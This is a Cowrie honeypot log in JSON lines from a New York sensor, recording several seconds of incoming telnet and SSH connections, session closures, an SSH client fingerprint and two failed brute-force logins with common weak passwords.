{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":48648,"dst_ip":"10.17.0.5","dst_port":23,"session":"2931bebb2155","protocol":"telnet","message":"New connection: 162.214.112.92:48648 (10.17.0.5:23) [session: 2931bebb2155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:44.137475Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":40158,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4135058f5ab","protocol":"ssh","message":"New connection: 186.80.18.158:40158 (10.17.0.5:22) [session: e4135058f5ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:44.144220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:44.148937Z","src_ip":"186.80.18.158","session":"e4135058f5ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:44.224066Z","src_ip":"186.80.18.158","session":"e4135058f5ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.13181233406067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:44.333149Z","src_ip":"50.6.7.102","session":"b0b0ccec28cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":47532,"dst_ip":"10.17.0.5","dst_port":23,"session":"e27fbd970c28","protocol":"telnet","message":"New connection: 192.161.62.114:47532 (10.17.0.5:23) [session: e27fbd970c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:44.449846Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":55552,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3305d8e6824","protocol":"telnet","message":"New connection: 176.74.31.147:55552 (159.203.135.109:23) [session: a3305d8e6824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:44.507490Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazxdr5","message":"login attempt [ubuntu/1qazxdr5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:44.561835Z","src_ip":"186.80.18.158","session":"e4135058f5ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":42082,"dst_ip":"10.17.0.5","dst_port":23,"session":"40a361a1ccd0","protocol":"telnet","message":"New connection: 108.179.218.230:42082 (10.17.0.5:23) [session: 40a361a1ccd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:44.786254Z"}
{"eventid":"cowrie.session.closed","duration":31.788543224334717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:44.885868Z","src_ip":"162.214.112.92","session":"7bc2395400b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.064747095108032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:45.029208Z","src_ip":"50.6.7.102","session":"76e63061365a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":56132,"dst_ip":"159.203.135.109","dst_port":23,"session":"50d204d72fab","protocol":"telnet","message":"New connection: 176.74.31.147:56132 (159.203.135.109:23) [session: 50d204d72fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:45.410569Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:45.644277Z","src_ip":"186.80.18.158","session":"e4135058f5ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":48842,"dst_ip":"10.17.0.5","dst_port":23,"session":"efacfd729a94","protocol":"telnet","message":"New connection: 162.214.112.92:48842 (10.17.0.5:23) [session: efacfd729a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:45.770702Z"}
{"eventid":"cowrie.session.closed","duration":31.31979751586914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:45.983010Z","src_ip":"99.198.111.122","session":"49d065702440","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.577632427215576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:46.636183Z","src_ip":"162.214.112.92","session":"71e4536a4b5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736708164215088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:46.657208Z","src_ip":"162.214.112.92","session":"9b7297718ac5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":49564,"dst_ip":"10.17.0.5","dst_port":23,"session":"485dc1cfe4ee","protocol":"telnet","message":"New connection: 192.161.62.114:49564 (10.17.0.5:23) [session: 485dc1cfe4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:46.893997Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52252,"dst_ip":"10.17.0.5","dst_port":23,"session":"ced7cfcbcd02","protocol":"telnet","message":"New connection: 64.235.40.29:52252 (10.17.0.5:23) [session: ced7cfcbcd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:47.021289Z"}
{"eventid":"cowrie.session.closed","duration":30.20940327644348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:47.056480Z","src_ip":"192.161.62.114","session":"f59f335c081f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86811900138855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:47.306038Z","src_ip":"176.74.31.147","session":"4a578b119ade","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55559015274048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:47.329922Z","src_ip":"160.250.4.73","session":"bfd1b1279410","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":49037,"dst_ip":"10.17.0.5","dst_port":23,"session":"fabc98f8c92e","protocol":"telnet","message":"New connection: 133.130.75.21:49037 (10.17.0.5:23) [session: fabc98f8c92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:47.485699Z"}
{"eventid":"cowrie.session.closed","duration":31.218177318572998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:47.650879Z","src_ip":"192.161.62.114","session":"c7353019e04e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.613738775253296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:48.120366Z","src_ip":"50.6.7.102","session":"80e550e6f07c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":49510,"dst_ip":"10.17.0.5","dst_port":23,"session":"447a578b6ce6","protocol":"telnet","message":"New connection: 162.214.112.92:49510 (10.17.0.5:23) [session: 447a578b6ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:48.354514Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":49086,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae689fc1a243","protocol":"telnet","message":"New connection: 192.161.62.114:49086 (10.17.0.5:23) [session: ae689fc1a243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:49.046227Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":51406,"dst_ip":"10.17.0.5","dst_port":23,"session":"b05ac349fd3e","protocol":"telnet","message":"New connection: 162.241.40.195:51406 (10.17.0.5:23) [session: b05ac349fd3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:49.116865Z"}
{"eventid":"cowrie.session.closed","duration":31.212729930877686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:49.411984Z","src_ip":"192.161.62.114","session":"e7b5b5405de5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.80050802230835,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:49.528623Z","src_ip":"162.214.112.92","session":"69714ea0abe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.613500356674194,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:49.747884Z","src_ip":"162.214.112.92","session":"2d7da85953ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91063141822815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:50.190992Z","src_ip":"176.74.31.147","session":"4c82e6945325","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95259928703308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:50.229241Z","src_ip":"192.161.62.114","session":"5e18208749af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.493485927581787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:50.267698Z","src_ip":"192.161.62.114","session":"5d24dae16d3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.138439893722534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:50.352055Z","src_ip":"176.74.31.147","session":"aef45e3b2d2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":43808,"dst_ip":"10.17.0.5","dst_port":23,"session":"b536da0bf0e2","protocol":"telnet","message":"New connection: 135.148.33.217:43808 (10.17.0.5:23) [session: b536da0bf0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:51.028875Z"}
{"eventid":"cowrie.session.closed","duration":31.114441633224487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:51.138745Z","src_ip":"192.161.62.114","session":"12727100d25d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":44002,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0c19ef89eb9","protocol":"telnet","message":"New connection: 135.148.33.217:44002 (10.17.0.5:23) [session: f0c19ef89eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:51.161033Z"}
{"eventid":"cowrie.session.closed","duration":31.16627788543701,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:51.224498Z","src_ip":"160.250.4.73","session":"357834324edd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":49641,"dst_ip":"10.17.0.5","dst_port":23,"session":"d14fbc3a97ca","protocol":"telnet","message":"New connection: 133.130.75.21:49641 (10.17.0.5:23) [session: d14fbc3a97ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:51.370881Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":50046,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8b8ba5bf2f1","protocol":"telnet","message":"New connection: 162.214.112.92:50046 (10.17.0.5:23) [session: f8b8ba5bf2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:51.505259Z"}
{"eventid":"cowrie.session.closed","duration":31.455687999725342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:51.972413Z","src_ip":"192.161.62.114","session":"b5a0ad8c71a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31888508796692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:52.007221Z","src_ip":"162.214.112.92","session":"829f8ea7faae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29118800163269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:52.967920Z","src_ip":"64.235.40.29","session":"615e9abbdea1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49937105178833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:53.065470Z","src_ip":"192.161.62.114","session":"36a73071d2fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01578974723816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:53.138180Z","src_ip":"135.148.33.217","session":"f4e838e4573c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.734122037887573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:53.402714Z","src_ip":"192.161.62.114","session":"e1264ca0878f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28833818435669,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:54.022129Z","src_ip":"50.6.7.102","session":"c7b0da902c65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981264114379883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:54.233578Z","src_ip":"176.74.31.147","session":"ee3f5c19f7a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02865505218506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:54.306586Z","src_ip":"176.74.31.147","session":"61faa2bd4aa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71298837661743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:54.386050Z","src_ip":"192.161.62.114","session":"1e9b276e526f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910073280334473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:54.400951Z","src_ip":"192.161.62.114","session":"cfc09df5c697","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.868403434753418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:54.782801Z","src_ip":"162.214.112.92","session":"637f2469cb26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.18389916419983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:55.039474Z","src_ip":"64.235.40.29","session":"e09bb4c3baf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124640941619873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:55.096295Z","src_ip":"192.161.62.114","session":"aa80153a9a15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2109215259552,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:55.117577Z","src_ip":"192.161.62.114","session":"e0b54c01e89c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39222,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a90c0ae8919","protocol":"telnet","message":"New connection: 64.235.40.29:39222 (10.17.0.5:23) [session: 2a90c0ae8919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:55.210792Z"}
{"eventid":"cowrie.session.closed","duration":30.885562658309937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:55.292482Z","src_ip":"176.74.31.147","session":"4c87922b7b2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.805595874786377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:55.299148Z","src_ip":"176.74.31.147","session":"8e24fb521b79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":47022,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3ce731acfa3","protocol":"telnet","message":"New connection: 108.179.218.230:47022 (10.17.0.5:23) [session: f3ce731acfa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:55.675589Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":53746,"dst_ip":"10.17.0.5","dst_port":23,"session":"875192d9b881","protocol":"telnet","message":"New connection: 162.241.40.195:53746 (10.17.0.5:23) [session: 875192d9b881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:55.851562Z"}
{"eventid":"cowrie.session.closed","duration":37.066933393478394,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:55.869614Z","src_ip":"162.214.112.92","session":"c814209b7d9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873594045639038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:56.160678Z","src_ip":"176.74.31.147","session":"c6a4a1494e5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29795742034912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:56.196511Z","src_ip":"160.250.4.73","session":"c5ee67e23e0e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:56.306273Z","src_ip":"122.168.114.167","session":"23ae1e9055bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.088903665542603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:56.312029Z","src_ip":"192.161.62.114","session":"8138a542a2e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30475640296936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:56.633715Z","src_ip":"176.74.31.147","session":"7c3bb17efbf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.249.116","src_port":36578,"dst_ip":"159.203.135.109","dst_port":23,"session":"652a6a846c63","protocol":"telnet","message":"New connection: 31.41.249.116:36578 (159.203.135.109:23) [session: 652a6a846c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:57.168394Z"}
{"eventid":"cowrie.session.closed","duration":30.806833028793335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:57.298789Z","src_ip":"176.74.31.147","session":"995d644cdce5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085254430770874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:57.401108Z","src_ip":"192.161.62.114","session":"00ea361b0a97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":47966,"dst_ip":"10.17.0.5","dst_port":23,"session":"780ee59a84b8","protocol":"telnet","message":"New connection: 108.179.218.230:47966 (10.17.0.5:23) [session: 780ee59a84b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:57.694709Z"}
{"eventid":"cowrie.session.closed","duration":31.457666397094727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:57.752539Z","src_ip":"162.241.40.195","session":"487302f83fa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847514390945435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:57.765532Z","src_ip":"162.214.112.92","session":"6958b876ba06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":44618,"dst_ip":"10.17.0.5","dst_port":23,"session":"a043cef76be9","protocol":"telnet","message":"New connection: 216.22.21.200:44618 (10.17.0.5:23) [session: a043cef76be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:58.198160Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39224,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa5aa9dc61f3","protocol":"telnet","message":"New connection: 64.235.40.29:39224 (10.17.0.5:23) [session: fa5aa9dc61f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:58.249307Z"}
{"eventid":"cowrie.session.closed","duration":31.095598459243774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:58.343575Z","src_ip":"176.74.31.147","session":"04af3935320a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954235315322876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:58.875866Z","src_ip":"192.161.62.114","session":"10e8ac56a7a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.723891735076904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:58.957730Z","src_ip":"162.214.112.92","session":"029c49583972","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80211639404297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:59.332251Z","src_ip":"176.74.31.147","session":"47d40fd010c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.310397148132324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:59.856474Z","src_ip":"192.161.62.114","session":"a4613fe73f36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.380595684051514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:59.861061Z","src_ip":"192.161.62.114","session":"b4660de17446","protocol":"telnet"}
